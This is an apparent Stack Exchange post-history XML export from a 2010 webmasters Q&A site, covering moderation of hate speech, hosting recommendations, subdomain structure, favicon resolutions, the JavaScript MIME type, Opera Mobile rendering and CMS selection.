  <row Id="2375" PostHistoryTypeId="2" PostId="1319" RevisionGUID="e2a7160d-70db-446c-91ea-3ca3dc067a96" CreationDate="2010-07-20T16:03:48.550" UserId="871" Text="This is almost entirely a content-dependent question. A political debate website will have stronger opinions that may come off as hate speech than a website devoted to [furries][1]. My only caveat to censoring any speech is that once you start censoring you will seem to (at least according to you users) to condone other opinions they may find hateful. As the previous poster said: if you have the power to censor it is mostly likely your site or some care of the site has been put in your hands so it will be a reflection of you as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Furry_fandom" />
  <row Id="2376" PostHistoryTypeId="2" PostId="1320" RevisionGUID="c06cae1f-01ff-4c79-a72d-516d9bb126f6" CreationDate="2010-07-20T16:14:39.960" UserId="871" Text="One way or the other if you are serious about filtering out bots you will need to implement some local list as well. Sometimes random seeming IP's get obsessed with a website I am administering. University projects, poorly implemented bots that seem experimental but are not generally recognized, those sorts of things. &#xD;&#xA;&#xD;&#xA;Also: the Cuil bot (Twiceler) is the devil." />
  <row Id="2377" PostHistoryTypeId="2" PostId="1321" RevisionGUID="a162fab1-3208-47ac-a7b9-8bc5b7b53725" CreationDate="2010-07-20T16:59:39.537" UserId="288" Text="It depends on context (as others have mentioned), but one rule of thumb would be to ask yourself &quot;would I have written this for this website&quot;.&#xD;&#xA;&#xD;&#xA;So on a business site you might not allow something you'd be OK about on a personal site.&#xD;&#xA;&#xD;&#xA;However, hate speech is hate speech and while it might not be illegal or personally attacking a specific user it must be attacking *someone* or some group of people.&#xD;&#xA;&#xD;&#xA;As long as you are up front about what content you won't allow and are consistent then nobody should be able to complain - though they probably will. Also remove (or don't publish) the entire post. Don't edit people's contributions." />
  <row Id="2378" PostHistoryTypeId="5" PostId="1303" RevisionGUID="36db566f-95bf-42b2-bde5-d60836398511" CreationDate="2010-07-20T17:11:40.843" UserId="26" Comment="linkified" Text="[IntenseDebate.com][1] (owned by Automattic, makers of Wordpress) and [Echo][2] (formerly JSKit; www.js-kit.com) are both Disqus competitors and are generally well-liked.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://intensedebate.com/&#xD;&#xA;  [2]: http://aboutecho.com/" />
  <row Id="2379" PostHistoryTypeId="2" PostId="1322" RevisionGUID="7b1d58a5-dd32-4898-9774-026a51b75d95" CreationDate="2010-07-20T17:22:49.873" UserId="96" Text="Although I've not personally used them, I hear that [PowerVPS][1] is quite good.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.powervps.com/" />
  <row Id="2381" PostHistoryTypeId="2" PostId="1324" RevisionGUID="aaf40111-be14-486a-963c-9af5ba24af39" CreationDate="2010-07-20T17:26:46.247" UserId="96" Text="I've used [DiscountASP.Net][1] for several clients over the years and can say that they are quite good. BUT... I've never tried deploying BlackfishSQL (is that a Delphi thing?  I used to love Delphi.) and your mileage may vary.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.discountasp.net/" />
  <row Id="2382" PostHistoryTypeId="2" PostId="1325" RevisionGUID="6d37d710-163f-4bd0-84ee-133b1d0ef455" CreationDate="2010-07-20T17:49:45.850" UserId="26" Text="I've set a few clients up with [Adobe (formerly Macromedia) Contribute][1] to edit static html content. Add the comments to prevent them from causing too much damage and it works okay:&#xD;&#xA;&#xD;&#xA;    &lt;!-- TemplateBeginEditable name=&quot;UserEditedSection&quot; --&gt;&#xD;&#xA;    &lt;p&gt;stuff the user can edit&lt;/p&gt;&#xD;&#xA;    &lt;!-- TemplateEndEditable  --&gt;&#xD;&#xA;&#xD;&#xA;So my questions:&#xD;&#xA;&#xD;&#xA;1. Are there any Contribute competitors that are worthwhile?&#xD;&#xA;&#xD;&#xA;2. Are there any Contribute competitors that don't require a piece of desktop software?&#xD;&#xA;&#xD;&#xA;3. Are there any Contribute competitors that work on mobile (iPad, iPhone, Android, Blackberry?)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.adobe.com/products/contribute/&#xD;&#xA;" />
  <row Id="2383" PostHistoryTypeId="1" PostId="1325" RevisionGUID="6d37d710-163f-4bd0-84ee-133b1d0ef455" CreationDate="2010-07-20T17:49:45.850" UserId="26" Text="Allowing customers to edit static website via WYSIWYG" />
  <row Id="2384" PostHistoryTypeId="3" PostId="1325" RevisionGUID="6d37d710-163f-4bd0-84ee-133b1d0ef455" CreationDate="2010-07-20T17:49:45.850" UserId="26" Text="&lt;content&gt;&lt;wysiwyg&gt;&lt;static-content&gt;&lt;contribute&gt;" />
  <row Id="2385" PostHistoryTypeId="2" PostId="1326" RevisionGUID="a2c06a21-ed24-4805-a2c5-7a13e6a1497e" CreationDate="2010-07-20T18:14:37.937" UserId="15" Text="I want to do blog.mysite.com but i know it will negatively impact my PR with Google. When is it preferable to structure your site like that vs mysite.com/blog? Is it only for the benefit of PR?" />
  <row Id="2386" PostHistoryTypeId="1" PostId="1326" RevisionGUID="a2c06a21-ed24-4805-a2c5-7a13e6a1497e" CreationDate="2010-07-20T18:14:37.937" UserId="15" Text="Why should I use a subdomain structure over a directory structure?" />
  <row Id="2387" PostHistoryTypeId="3" PostId="1326" RevisionGUID="a2c06a21-ed24-4805-a2c5-7a13e6a1497e" CreationDate="2010-07-20T18:14:37.937" UserId="15" Text="&lt;google&gt;&lt;domains&gt;&lt;pagerank&gt;&lt;subdomain&gt;&lt;directory&gt;" />
  <row Id="2388" PostHistoryTypeId="2" PostId="1327" RevisionGUID="3a67b57b-9cd2-4f03-bb88-74a1355ba52e" CreationDate="2010-07-20T18:21:56.223" UserId="819" Text="The only time I would use a subdomain is if the site is truly a &quot;different site&quot;.  Take for example my business site I have the following setup.&#xD;&#xA;&#xD;&#xA;http://www.iowacomputergurus.com - Business site&#xD;&#xA;&#xD;&#xA;http://productsupport.iowacomputergurus.com - Bug Report Site&#xD;&#xA;&#xD;&#xA;http://customersupport.iowacomputergurus.com - Customer Helpdesk site&#xD;&#xA;&#xD;&#xA;Using this structure all of the business stuff, including the blog is on the one site, but the stuff that is truly different, the various support sites are offloaded to sub domains so that they are separate.&#xD;&#xA;&#xD;&#xA;In my opinion, if you REALLY want to use blog.mysite.com say for ease of remembering, setup a 301 redirect that takes users to http://www.mysite.com/blog or something similar." />
  <row Id="2389" PostHistoryTypeId="2" PostId="1328" RevisionGUID="e962a4e2-d29b-43c7-a4a6-ce79969f2b47" CreationDate="2010-07-20T18:26:23.903" UserId="819" Text="To get something like this you are going to need to with a Dedicated or Virtual solution at minimum to be able to get the setup you need.  I personally would recommend just going with Windows Server if you can since you are doing .NET, but that is just me.&#xD;&#xA;&#xD;&#xA;I'm a Rackspace partner and find their offerings to be pretty good.  From a virtual hosting perspective I have used Hosting.com with great success.&#xD;&#xA;&#xD;&#xA;I'm also a partner with The Planet, and they by far have some of the best prices, but have only used them a limited amount." />
  <row Id="2390" PostHistoryTypeId="2" PostId="1329" RevisionGUID="ac345cc9-0582-4631-b721-bc04752f1b6f" CreationDate="2010-07-20T18:48:41.190" UserId="427" Text="Not an actual answer: I think Google should pay someone to transcribe those videos and make them into actual text files I can read, scan, and friggin search.&#xD;&#xA;&#xD;&#xA;Text is always useful, video should be, in this case, for people who really want to see Matt Cutts :)" />
  <row Id="2391" PostHistoryTypeId="16" PostId="1329" RevisionGUID="ac345cc9-0582-4631-b721-bc04752f1b6f" CreationDate="2010-07-20T18:48:41.190" UserId="-1" />
  <row Id="2392" PostHistoryTypeId="5" PostId="1298" RevisionGUID="0b517970-0328-4085-9d46-f500b5b5deaa" CreationDate="2010-07-20T18:53:18.857" UserId="9301" Comment="added 8 characters in body; edited tags" Text="Do **you** censor user generated content that's not illegal and doesn't personally attack another user of your website for being hate speech?&#xD;&#xA;If so, where do **you** draw the line?" />
  <row Id="2393" PostHistoryTypeId="6" PostId="1298" RevisionGUID="0b517970-0328-4085-9d46-f500b5b5deaa" CreationDate="2010-07-20T18:53:18.857" UserId="9301" Comment="added 8 characters in body; edited tags" Text="&lt;moderation&gt;&lt;subjective&gt;" />
  <row Id="2394" PostHistoryTypeId="2" PostId="1330" RevisionGUID="a245e7da-e903-47a8-93ee-fab8db12ca75" CreationDate="2010-07-20T19:01:55.093" UserId="480" Text="First and foremost for the benefit of users. Words before a domain are usually typed in, whereas words after are often left out. The user usually expects to be able to navigate to the path after the domain themselves.&#xD;&#xA;&#xD;&#xA;Where this is not the case (nested links to get there) or the navigation changes drastically (which it can in a blog) then it is not really the impression you want to leave for someone who has bothered to type in an address to their address bar.&#xD;&#xA;&#xD;&#xA;The PR of your site will only be negatively impacted upon if the blog is unrelated (treat it as a PR building hub site). If it is not unrelated then it should be a boon." />
  <row Id="2395" PostHistoryTypeId="2" PostId="1331" RevisionGUID="13498665-69e6-48fe-8264-72dbeddf10f9" CreationDate="2010-07-20T19:10:06.573" UserId="180" Text="If you DO use subdomains, depending on the sophistication of your target audience, be prepared for users to add www. in front of the host name automatically (www.blog.example.com).  Setting DNS up to support this is something that I've never taken the time to figure out; it's possible but takes more effort than just adding another CNAME." />
  <row Id="2396" PostHistoryTypeId="2" PostId="1332" RevisionGUID="0adaceed-96ea-4063-8e59-80becd91c583" CreationDate="2010-07-20T19:24:16.197" UserId="140" Text="I understand that you can create a [`favicon.ico`][1] with multiple resolutions embedded.&#xD;&#xA;&#xD;&#xA;Which resolutions should I support?&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Favicon" />
  <row Id="2397" PostHistoryTypeId="1" PostId="1332" RevisionGUID="0adaceed-96ea-4063-8e59-80becd91c583" CreationDate="2010-07-20T19:24:16.197" UserId="140" Text="Which resolutions should I make a favicon in?" />
  <row Id="2398" PostHistoryTypeId="3" PostId="1332" RevisionGUID="0adaceed-96ea-4063-8e59-80becd91c583" CreationDate="2010-07-20T19:24:16.197" UserId="140" Text="&lt;favicon&gt;" />
  <row Id="2399" PostHistoryTypeId="7" PostId="1271" RevisionGUID="f38abb04-eb2d-45c5-aaf7-0cbfd6b60471" CreationDate="2010-07-20T19:24:35.603" UserId="40" Comment="Rollback to [dc748131-b3df-4993-b170-c83cb5e9476d]" Text="What solution a good solution to prevent spam of web forms?" />
  <row Id="2400" PostHistoryTypeId="4" PostId="1271" RevisionGUID="bebdb095-62f8-4f6d-9957-82189586a280" CreationDate="2010-07-20T19:26:01.900" UserId="40" Comment="edited title; edited title" Text="What solutions to prevent spam of web forms are less intrusive for users?" />
  <row Id="2401" PostHistoryTypeId="2" PostId="1333" RevisionGUID="fa152b56-e579-43fc-a53d-73ad23bab94a" CreationDate="2010-07-20T19:27:11.463" UserId="480" Text="Through a course of mergers and acquisitions the particular group of companies who I work for have built up a vast array of websites running either Kentico (or ASP websites that *will* be using Kentico) and Generically produced PHP websites.&#xD;&#xA;&#xD;&#xA;There is no DAM (Digital Asset Management) and our holding company wants to keep all the identities apart, so you can imagine the blood bath that ensues around marketing endeavours.&#xD;&#xA;&#xD;&#xA;**What Media Library solutions are there which will work on both the Kentico CMS and for Hand-written PHP?**&#xD;&#xA;&#xD;&#xA;We use approval/versioning and some sites will soon be large enough to need CDNs (so some form of link referencing is needed).&#xD;&#xA;&#xD;&#xA;There are three scenarios where other solutions have fallen down:&#xD;&#xA;&#xD;&#xA; 1. Page a uses image z, page b uses image z, image z is updated and page a/b instantly use the updated image z instead of going through the approval process.&#xD;&#xA;&#xD;&#xA; 2. Page a uses image z, page b uses image z, image z is updated, page a's update is approved and instantly page b has the updated image z instead of going through the approval process.&#xD;&#xA;&#xD;&#xA; 3. Page a uses image z, page b uses image z, image z is updated, page a's update is approved, page b's update is approved, suddenly we need to go back to the previous version of page a and the older version of image z is no longer there.&#xD;&#xA;&#xD;&#xA;The added pain is that we need a central image library to hold things like model sign offs and past marketing compaign usage to avoid clashes between the brands." />
  <row Id="2402" PostHistoryTypeId="1" PostId="1333" RevisionGUID="fa152b56-e579-43fc-a53d-73ad23bab94a" CreationDate="2010-07-20T19:27:11.463" UserId="480" Text="What are common Media Library tools used for Kentico/Generic PHP sites?" />
  <row Id="2403" PostHistoryTypeId="3" PostId="1333" RevisionGUID="fa152b56-e579-43fc-a53d-73ad23bab94a" CreationDate="2010-07-20T19:27:11.463" UserId="480" Text="&lt;images&gt;&lt;php&gt;&lt;library&gt;" />
  <row Id="2404" PostHistoryTypeId="2" PostId="1334" RevisionGUID="bbceb690-0140-4fbd-bff5-d18fa514a3d2" CreationDate="2010-07-20T19:31:56.100" UserId="40" Text="Maybe [this][1] helps to answer your question.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.photoshopsupport.com/tutorials/jennifer/favicon.html" />
  <row Id="2405" PostHistoryTypeId="5" PostId="1332" RevisionGUID="d42a5dfb-d5aa-4661-ab3c-7bb2a8259eb1" CreationDate="2010-07-20T19:31:59.297" UserId="140" Comment="added 6 characters in body" Text="I understand that you can create a [`favicon.ico`][1] with multiple resolutions embedded.&#xD;&#xA;&#xD;&#xA;Which resolutions should I support?  Why?&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Favicon" />
  <row Id="2406" PostHistoryTypeId="12" PostId="1334" RevisionGUID="ab6434eb-c3c8-4a68-9083-5e1cd685c5c9" CreationDate="2010-07-20T19:33:36.017" UserId="40" Text="[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;txwikinger&quot;}]" />
  <row Id="2407" PostHistoryTypeId="13" PostId="1334" RevisionGUID="c4154f44-5cd4-489d-973d-f05808b0c930" CreationDate="2010-07-20T19:35:12.847" UserId="40" Text="[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;txwikinger&quot;}]" />
  <row Id="2409" PostHistoryTypeId="6" PostId="756" RevisionGUID="28d053fc-a3de-49e1-bc9b-2e721955e872" CreationDate="2010-07-20T19:37:18.287" UserId="26" Comment="edited tags" Text="&lt;mysql&gt;&lt;shared-hosting&gt;&lt;throttling&gt;" />
  <row Id="2411" PostHistoryTypeId="2" PostId="1336" RevisionGUID="6a731570-317c-4789-9003-d368d4acad57" CreationDate="2010-07-20T19:59:10.683" UserId="41" Text="Favicons in the browser are 16x16 pixels. For multiple resolution favicons, the sizes 24x24, 32x32, and 48x48 pixels are the most common to include in addition." />
  <row Id="2412" PostHistoryTypeId="2" PostId="1337" RevisionGUID="b9482798-b712-42da-a922-3d96f9f80600" CreationDate="2010-07-20T20:06:32.723" UserId="480" Text="In the html we always use &amp;lt;script type=&quot;text/javascript&amp;gt;&amp;lt;/script&amp;gt; (the ECMA stuff confuses some browsers) but on the HTTP side what are you meant to use as the Content-Type?&#xD;&#xA;&#xD;&#xA;By instinct this would also be text/javascript, but Apache uses application/javascript and Amazon uses application/x-javascript.&#xD;&#xA;&#xD;&#xA;Some firewall admins block any MIME types matching application/*; but which MIME type are you meant to use from a webmaster perspective? What is the &quot;right&quot; thing to do." />
  <row Id="2413" PostHistoryTypeId="1" PostId="1337" RevisionGUID="b9482798-b712-42da-a922-3d96f9f80600" CreationDate="2010-07-20T20:06:32.723" UserId="480" Text="What MIME type are you meant to use for JavaScript files?" />
  <row Id="2414" PostHistoryTypeId="3" PostId="1337" RevisionGUID="b9482798-b712-42da-a922-3d96f9f80600" CreationDate="2010-07-20T20:06:32.723" UserId="480" Text="&lt;javascript&gt;&lt;http&gt;" />
  <row Id="2415" PostHistoryTypeId="5" PostId="1337" RevisionGUID="5e759486-c119-4372-9ac3-6dd9ba94db9b" CreationDate="2010-07-20T20:19:01.570" UserId="480" Comment="added 27 characters in body" Text="In the html we always use &amp;lt;script type=&quot;text/javascript&quot; charset=&quot;utf-8&quot; src=&quot;???&quot;&amp;gt;&amp;lt;/script&amp;gt; (the ECMA stuff confuses some browsers) but on the HTTP side what are you meant to use as the Content-Type?&#xD;&#xA;&#xD;&#xA;By instinct this would also be text/javascript, but Apache uses application/javascript and Amazon uses application/x-javascript.&#xD;&#xA;&#xD;&#xA;Some firewall admins block any MIME types matching application/*; but which MIME type are you meant to use from a webmaster perspective? What is the &quot;right&quot; thing to do." />
  <row Id="2416" PostHistoryTypeId="2" PostId="1338" RevisionGUID="92bb87cf-973c-4d0d-8a5d-1e96c79926d6" CreationDate="2010-07-20T20:29:22.030" UserId="26" Text="The correct `Content-Type` is `application/javascript`&#xD;&#xA;&#xD;&#xA;See: [What is the Javascript MIME Type?][1] on [Stack Overflow][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/189850/what-is-the-javascript-mime-type-what-belongs-in-the-type-attribute-of-a-script&#xD;&#xA;  [2]: http://stackoverflow.com/" />
  <row Id="2417" PostHistoryTypeId="2" PostId="1339" RevisionGUID="67a90156-49da-436e-a8c0-2cd0a1dd7be9" CreationDate="2010-07-20T20:31:28.577" UserId="288" Text="[This page][1] has a list of what's accepted by which browser, for example:&#xD;&#xA;&#xD;&#xA;&gt; `text/javascript`  &#xD;&#xA;Opera 7.54+  &#xD;&#xA;IE 5+  &#xD;&#xA;Firefox 1.0.7+  &#xD;&#xA;Safari 2.0.3+  &#xD;&#xA;iCab 3 Beta 394  &#xD;&#xA;Camino 2006021400  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA; [1]: http://krijnhoetmer.nl/stuff/javascript/mime-types/" />
  <row Id="2418" PostHistoryTypeId="5" PostId="1332" RevisionGUID="41d64831-ddfc-4d21-b01f-322c3287c0b8" CreationDate="2010-07-20T20:41:30.037" UserId="140" Comment="added 178 characters in body; edited tags; added 19 characters in body" Text="I understand that you can create a [`favicon.ico`][1] with multiple resolutions embedded.&#xD;&#xA;&#xD;&#xA;Which resolutions should your average website support?  Why?&#xD;&#xA;&#xD;&#xA;Edit: Performance should be a consideration. I want to keep the favicon around 1K to stay inline with these recommendations: http://developer.yahoo.com/performance/rules.html&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Favicon" />
  <row Id="2419" PostHistoryTypeId="6" PostId="1332" RevisionGUID="41d64831-ddfc-4d21-b01f-322c3287c0b8" CreationDate="2010-07-20T20:41:30.037" UserId="140" Comment="added 178 characters in body; edited tags; added 19 characters in body" Text="&lt;performance&gt;&lt;favicon&gt;" />
  <row Id="2420" PostHistoryTypeId="2" PostId="1340" RevisionGUID="9d3b7e49-335f-43b8-a211-bf055d9c44a9" CreationDate="2010-07-20T20:52:40.803" UserId="140" Text="Microsoft recommends including a 16x16 pixel and a 24x24 pixel favicon (for when the user's system-wide DPI setting is higher than 100%).&#xD;&#xA;&#xD;&#xA;http://msdn.microsoft.com/en-us/library/cc849094(VS.85).aspx#Favicons" />
  <row Id="2424" PostHistoryTypeId="2" PostId="1342" RevisionGUID="0d677986-24e5-465c-be40-73956f7b9ba6" CreationDate="2010-07-20T20:57:05.317" UserDisplayName="ralphy" Text="Looking at the list of sites created using django, it seems there are no major web sites that are written using the framework. &#xD;&#xA;&#xD;&#xA;Why is this? Is django not suited to scalable web sites, or is it in fact that Python loses out to PHP because more developers know it or there are more OSS components available while enterprise favours .NET or Java?&#xD;&#xA;&#xD;&#xA;How suitable is Python compared to PHP for instance? I saw some benchmarks recently that put Python way faster than PHP.&#xD;&#xA;&#xD;&#xA;I'm looking for answers a little more in-depth than &quot;anything can be made to work/use what you know&quot; etc please.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="2425" PostHistoryTypeId="1" PostId="1342" RevisionGUID="0d677986-24e5-465c-be40-73956f7b9ba6" CreationDate="2010-07-20T20:57:05.317" UserDisplayName="ralphy" Text="Are there any large web sites written with Python/Django?" />
  <row Id="2426" PostHistoryTypeId="3" PostId="1342" RevisionGUID="0d677986-24e5-465c-be40-73956f7b9ba6" CreationDate="2010-07-20T20:57:05.317" UserDisplayName="ralphy" Text="&lt;php&gt;" />
  <row Id="2427" PostHistoryTypeId="2" PostId="1343" RevisionGUID="d0fb477d-4b84-4676-b117-539511ec1591" CreationDate="2010-07-20T21:00:05.997" UserId="480" Text="Opera Mobile fails to render two sites I help out with. http://www.duncan-photo.com (soon to go live) has a title where the font is too small and http://www.banham.co.uk has images on any inner section that fall over into the content.&#xD;&#xA;&#xD;&#xA;What are the guidelines for Opera Mobile development?&#xD;&#xA;&#xD;&#xA;All other browsers tested (even Opera for the Wii) show these sites correctly.&#xD;&#xA;&#xD;&#xA;There is an [emulator][1] to help development but it is a nightmare to contort CSS whilst blind to the rules.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dev.opera.com/articles/view/opera-mobile-10-widgets-mobile-emulator-desktop/" />
  <row Id="2428" PostHistoryTypeId="1" PostId="1343" RevisionGUID="d0fb477d-4b84-4676-b117-539511ec1591" CreationDate="2010-07-20T21:00:05.997" UserId="480" Text="Guidlines for Opera Mobile" />
  <row Id="2429" PostHistoryTypeId="3" PostId="1343" RevisionGUID="d0fb477d-4b84-4676-b117-539511ec1591" CreationDate="2010-07-20T21:00:05.997" UserId="480" Text="&lt;css&gt;" />
  <row Id="2431" PostHistoryTypeId="5" PostId="1343" RevisionGUID="3a32713a-3d24-4383-97c0-5310ad311c31" CreationDate="2010-07-20T21:13:46.377" UserId="480" Comment="deleted 33 characters in body; edited tags" Text="Opera Mobile fails to render two sites I help out with.&#xD;&#xA;&#xD;&#xA;What are the guidelines for Opera Mobile?&#xD;&#xA;&#xD;&#xA;All other browsers tested (even Opera for the Wii) show these sites correctly.&#xD;&#xA;&#xD;&#xA;There is an [emulator][1] to help development but it is impossible to help the browser work correctly without knowing the rules. Do things have to be presented to the client differently, are there limitations on certain elements, does JavaScript race conditions, etc?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dev.opera.com/articles/view/opera-mobile-10-widgets-mobile-emulator-desktop/" />
  <row Id="2432" PostHistoryTypeId="6" PostId="1343" RevisionGUID="3a32713a-3d24-4383-97c0-5310ad311c31" CreationDate="2010-07-20T21:13:46.377" UserId="480" Comment="deleted 33 characters in body; edited tags" Text="&lt;javascript&gt;&lt;html&gt;&lt;css&gt;" />
  <row Id="2433" PostHistoryTypeId="2" PostId="1344" RevisionGUID="a0446c41-3ed9-4f32-bc62-52771eea4034" CreationDate="2010-07-20T21:16:00.450" UserId="343" Text="Might want to have a look at [this link][1].  Talks about a large Russian site and the problems they had with launching a large Django project.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://softwaremaniacs.org/blog/2008/02/24/why-offline-crashed-en/" />
  <row Id="2434" PostHistoryTypeId="5" PostId="1343" RevisionGUID="e7d14ec9-3a4c-4a69-8ed0-45c5cffc3cfc" CreationDate="2010-07-20T21:23:44.370" UserId="480" Comment="added 155 characters in body; edited title" Text="Opera Mobile fails to render two sites I help out with correctly and I cannot find the guidelines for Opera Mobile.&#xD;&#xA;&#xD;&#xA;All other browsers tested (even Opera for the Wii) show these sites correctly.&#xD;&#xA;&#xD;&#xA;There is an [emulator][1] to help development but it is impossible to help the browser work correctly without knowing the rules.&#xD;&#xA;&#xD;&#xA;Do things have to be presented to the client differently?, are there limitations on certain elements?, does JavaScript suffer from race conditions?, etc... or is there a universal &quot;please use Safari Mobile&quot; campaign in the same vein as the dump &quot;Internet Explorer 6&quot; efforts?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dev.opera.com/articles/view/opera-mobile-10-widgets-mobile-emulator-desktop/" />
  <row Id="2435" PostHistoryTypeId="4" PostId="1343" RevisionGUID="e7d14ec9-3a4c-4a69-8ed0-45c5cffc3cfc" CreationDate="2010-07-20T21:23:44.370" UserId="480" Comment="added 155 characters in body; edited title" Text="Guidelines for Opera Mobile" />
  <row Id="2436" PostHistoryTypeId="2" PostId="1345" RevisionGUID="af826637-0d8a-425a-a46c-b275d699c692" CreationDate="2010-07-20T21:43:33.503" UserId="26" Text="You can look at what's supported generally in this [Opera Standards Chart][1].&#xD;&#xA;&#xD;&#xA;My experience of the Opera Browsers. mostly with Mini 4 and 5, was that they worked pretty well for a tiny browser on a non-smartphone. Especially long pages with lots of content did not work terribly well, and I found I had to make sure not to scroll before all content loaded otherwise the browser would blank screen on me. Also, sites with odd ajax-based or otherwise peculiar security schemes could be difficult to log into.&#xD;&#xA;&#xD;&#xA;[**dev.opera.com**][2] appears to be a good resource, though it's kind of got a whole kitchen sink of data. I'm not seeing a simple &quot;target Opera Mobile for developers&quot; document.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://my.opera.com/ODIN/blog/2010/03/16/opera-standards-chart&#xD;&#xA;  [2]: http://dev.opera.com/" />
  <row Id="2437" PostHistoryTypeId="2" PostId="1346" RevisionGUID="739c5e58-c1df-421c-a017-788e3a9138e7" CreationDate="2010-07-20T21:47:45.813" UserId="895" Text="our site is giving out 'badges' to our authors. they can post these on their personal blogs and they will serve as incoming links to our site.&#xD;&#xA;&#xD;&#xA;We want to give out the best possible code for SEO without doing anything that would get us flagged.&#xD;&#xA;&#xD;&#xA;i would like to know what you're thoughts are on the following snippet of code and if anyone has any DEFINITE advice on dos and donts with it. Also, let me know if any of it is redundant or not worth it for SEO purposes.&#xD;&#xA;&#xD;&#xA;i've kept the css inline since some of the writers would not have access to add link to external css&#xD;&#xA;&#xD;&#xA;i've changed the real values, but title, alt etc would be descriptive keywords similar to our page titles etc (no overloading keywords or any of that)&#xD;&#xA;&#xD;&#xA;        &lt;div id=&quot;writer&quot; style=&quot;width:100px;height:50px;&gt;&#xD;&#xA;    &lt;h1&gt;&lt;strong style=&quot;float:left;text-indent:-9999px;overflow:hidden;margin:0;padding:0;&quot;&gt;articles on x,y,z&lt;/strong&gt;&#xD;&#xA;        &lt;a href=&quot;http://www.site.com/link-to-author&quot; title=&quot;site description&quot;&gt;&#xD;&#xA;            &lt;img style=&quot;border:none&quot; src=&quot;http://www.site.com/images/badge.png&quot; alt=&quot;description of articles&quot; title=&quot;View my published work on site.com&quot;/&gt;&#xD;&#xA;        &lt;/a&gt;&#xD;&#xA;    &lt;/h1&gt;&lt;/div&gt;&#xD;&#xA;&#xD;&#xA;thanks&#xD;&#xA;" />
  <row Id="2438" PostHistoryTypeId="1" PostId="1346" RevisionGUID="739c5e58-c1df-421c-a017-788e3a9138e7" CreationDate="2010-07-20T21:47:45.813" UserId="895" Text="what is the correct way to code incoming links for SEO?" />
  <row Id="2439" PostHistoryTypeId="3" PostId="1346" RevisionGUID="739c5e58-c1df-421c-a017-788e3a9138e7" CreationDate="2010-07-20T21:47:45.813" UserId="895" Text="&lt;seo&gt;&lt;css&gt;" />
  <row Id="2440" PostHistoryTypeId="2" PostId="1347" RevisionGUID="f39743bc-3e64-4857-ad39-7c54c381600f" CreationDate="2010-07-20T21:51:33.987" UserId="353" Text="I'm a software engineer with little web experience currently in the process of wanting to actually using my web host and domain name for something other than a file dumping ground for files that I need to give other people access to. My plan is to somehow deploy a personal/professional website and blog, either using FOSS off-the-shelf products, custom software, or off-the-shelf components with custom modules/plugins.&#xD;&#xA;&#xD;&#xA;My requirements are:&#xD;&#xA;&#xD;&#xA; 1. Semantic HTML (well formed, proper use of attributes, microformats where appropriate, use of CSS for style and HTML for markup)&#xD;&#xA; 2. Validating HTML and CSS (XHTML, HTML4, HTML5 all acceptable - as long as it validates out of the box)&#xD;&#xA; 3. Support for a blog&#xD;&#xA; 4. Support for editing and managing my resume in HTML form as well as PDF, ODT, and DOC formats that I make available for download&#xD;&#xA; 5. Written in a language that I know and my host supports - PHP preferred since that's easiest for my to host and I also am familiar with it&#xD;&#xA; 6. Easy to obtain or write a themes for&#xD;&#xA; 7. Support for static pages that change infrequently (about me), static pages that change sometimes (project lists), dynamic pages (blog, comments), and forms (contact me)&#xD;&#xA; 8. Plays nicely with other tools in the same environment - I use Trac on the same host for project management and might deploy other software such as a personal MediaWiki deployment&#xD;&#xA; 9. Easy to integrate with other social media (Twitter? Facebook? Pandora?) - not require, but would be nice&#xD;&#xA; 10. Generation and maintenance of the sitemap and/or robots.txt&#xD;&#xA;&#xD;&#xA;My questions:&#xD;&#xA;&#xD;&#xA; - What, if any, FOSS solution would be appropriate for me? I've toyed around with Drupal and WordPress in the past - WordPress struck me as a solid tool, but at the time was very blog-focused (I understand it's changed more recently to be more CMS-like).&#xD;&#xA; - What free (but not open source) solutions might be appropriate for me? I would prefer to have full access to the source, but it's not a requirement.&#xD;&#xA; - If I am going to roll my own, where should I begin? I would prefer not to roll my own - my software engineering background tells me that my requirements should be common and I should be able to find some existing solution(s) that I can combine to make this work.&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;(Also, sorry about the tagging. I can't create new tags, but this post really should have some kind of &quot;custom-deployment&quot; or &quot;custom-software&quot; tag.)" />
  <row Id="2441" PostHistoryTypeId="1" PostId="1347" RevisionGUID="f39743bc-3e64-4857-ad39-7c54c381600f" CreationDate="2010-07-20T21:51:33.987" UserId="353" Text="How can I decide if I should roll my own software or use a packaged CMS (and appropriate plugins)?" />
  <row Id="2442" PostHistoryTypeId="3" PostId="1347" RevisionGUID="f39743bc-3e64-4857-ad39-7c54c381600f" CreationDate="2010-07-20T21:51:33.987" UserId="353" Text="&lt;site-deployment&gt;&lt;cms&gt;" />
  <row Id="2443" PostHistoryTypeId="6" PostId="1347" RevisionGUID="8051f7fb-922d-4442-b68c-1dc5d65cf32f" CreationDate="2010-07-20T21:58:23.920" UserId="26" Comment="added tag" Text="&lt;site-deployment&gt;&lt;cms&gt;&lt;custom-software&gt;" />
